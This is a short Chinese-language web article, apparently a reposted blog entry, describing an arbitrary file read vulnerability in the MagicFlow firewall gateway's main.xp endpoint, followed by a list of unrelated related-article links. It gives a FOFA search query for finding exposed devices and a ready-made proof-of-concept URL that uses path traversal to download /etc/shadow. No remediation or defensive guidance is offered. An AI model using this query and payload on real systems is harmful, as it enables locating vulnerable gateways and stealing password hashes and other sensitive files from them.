当前位置： 首页 > news >正文

MagicFlow-防火墙网关-任意文件读取漏洞

news 2025/7/7 0:29:11

漏洞描述：MagicFlow 防火墙网关 main.xp 存在任意文件读取漏洞，攻击者通过构造特定的Url获取敏感文件

1.fofa

app="MSA/1.0"

2.漏洞验证

网站页面

构造POC

 /msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../etc/shadow

查看下载文件中的内容 

http://www.dtcms.com/a/89281.html

相关文章：

  • 如何面对自己有意识和无意识的逃避（一）
  • c++R 格式
  • 超融合服务器是什么
  • python中使用openssl构建root证书，CSR，并验证
  • Go 语言 fmt 模块的完整方法详解及示例
  • 标星 62.9 万，8 个 yyds 的 GitHub 开源项目 ！
  • C++中的std::move函数详解：移动语义与资源管理
  • golang结构体与指针类型
  • ARM day2
  • protobuf为什么快
  • 基于ssm的微博网站(全套)
  • 流量分析2
  • VectorBT：使用PyTorch+LSTM训练和回测股票模型 进阶二
  • 核心知识——论文详解
  • 力扣DAY27 | 热100 | 合并两个有序链表
  • 万字C++STL——vector模拟实现
  • LeetCode 524 通过删除字母匹配到字典里最长单词
  • 虚幻引擎设置复杂碰撞体
  • docker使用uv安装依赖
  • 探索Halo：不止是博客，更是创作新宇宙
  • VUE3项目VITE打包优化
  • [BalticOI 2009] Radio Transmission 无线传输
  • 项目日记 -云备份 -服务端数据管理模块
  • Qt Concurrent 并发 Map 和 Map-Reduce
  • Chat2DB：一款强大的数据库管理工具，AI助力高效查询与分析
  • 如何使用Python爬虫按关键字搜索1688商品？
  • SQL HAVING 1 的用法解析
  • 鸿蒙开发：父组件如何调用子组件中的方法？
  • python tkinter 开发蓍草占卜系统
  • Vue3企业级项目标准化规范